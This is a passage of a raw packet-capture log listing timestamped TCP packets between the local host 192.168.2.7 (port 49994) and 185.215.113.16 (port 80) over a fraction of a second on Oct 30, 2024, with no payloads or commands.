Oct 30, 2024 04:35:42.249596119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249608040 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249633074 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249672890 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249690056 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249716997 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249744892 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249775887 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249793053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249806881 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249819040 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249823093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249840021 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249841928 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249855042 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249857903 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249871016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.249897003 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249912977 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.249990940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.250010014 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.250039101 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.250039101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.250053883 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.250067949 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.250083923 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.250117064 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286422968 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286454916 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286478043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286482096 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286529064 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286571026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286587000 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286602020 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286617994 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286626101 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286649942 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286673069 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286694050 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286710024 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286725998 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286737919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286766052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286770105 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286781073 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286796093 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286813021 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286813974 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286827087 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286851883 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.286854029 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.286891937 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287019014 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287034988 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287055016 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287066936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287070990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287081957 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287086964 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287101984 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287108898 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287118912 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287132025 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287144899 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287167072 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287204027 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287324905 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287339926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287353992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287367105 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287369013 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287385941 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287396908 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287401915 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287419081 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287431002 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287434101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287456036 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287492990 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287522078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287537098 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287552118 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287566900 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.287568092 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287604094 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.287637949 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364176989 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364217043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364233017 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364269972 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364279032 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364293098 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364306927 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364309072 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364325047 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364340067 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364351034 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364370108 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364391088 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364391088 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364413977 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364434958 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364447117 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364449978 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364466906 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364490032 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364506006 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364518881 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364531994 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364546061 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364547014 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364579916 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364620924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364640951 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364674091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364685059 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364696026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364711046 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364715099 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364726067 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364732981 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364742041 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364752054 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364773989 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364775896 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364797115 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364798069 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364813089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364820004 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364829063 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364845037 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364867926 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364877939 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364892960 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364907980 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364922047 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364938974 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.364942074 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.364979029 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365012884 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365026951 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365041971 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365056038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365067959 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365071058 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365097046 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365108967 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365124941 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365139961 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365154982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365168095 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365200996 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365271091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365287066 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365300894 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365315914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365317106 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365330935 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365345001 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365349054 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365360022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365376949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365390062 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365391970 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365411043 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365442991 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365472078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365484953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365499020 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365514040 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365514040 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365530014 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365544081 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365581989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365617037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365632057 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365645885 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365658998 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365659952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365684032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365700960 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365741968 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365756989 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365778923 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365793943 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365806103 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365808010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365824938 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365834951 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365839958 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365856886 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365871906 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365895033 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365919113 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365951061 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365962029 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.365967989 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365983009 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.365992069 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366000891 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366015911 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366017103 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366030931 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366058111 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366092920 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366107941 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366136074 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366146088 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366159916 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366173983 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366175890 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366187096 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366193056 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366204977 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366209030 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366231918 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366266966 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366271019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366285086 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366298914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366312981 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366334915 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366374969 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366390944 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366405010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366416931 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366419077 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366439104 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366450071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366456032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366471052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366485119 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366486073 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366508007 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366540909 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366600037 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366616964 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366640091 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366645098 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366678953 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366744995 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366760015 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366775036 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366791010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366791964 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366806984 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366821051 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366836071 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366837978 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366852999 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366868019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.366882086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366893053 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.366919041 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367002010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367016077 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367028952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367044926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367047071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367060900 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367069006 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367079020 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367094994 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367105007 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367120981 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367140055 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367153883 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.367157936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367178917 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.367202997 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403439045 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403456926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403470993 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403518915 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403532028 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403533936 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403551102 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403567076 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403608084 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403614998 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403631926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403634071 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403646946 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403680086 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403696060 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403708935 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403714895 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403764009 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403800011 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403815031 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403831959 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403847933 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403851032 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403889894 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403901100 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403915882 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403923988 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403929949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.403964996 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.403981924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404047966 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404063940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404078960 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404093981 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404102087 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404134035 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404166937 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404176950 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404191971 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404206038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404218912 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404239893 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404259920 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404288054 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404308081 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404337883 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404340029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404356003 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404362917 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404382944 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404382944 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404407978 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404431105 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404438019 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404448032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404470921 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404479027 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404488087 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404511929 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404531002 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404547930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404578924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404750109 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404797077 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404812098 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404827118 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404860973 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:42.404861927 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:42.404886007 CET	80	49994	185.215.113.16	192.168.2.7
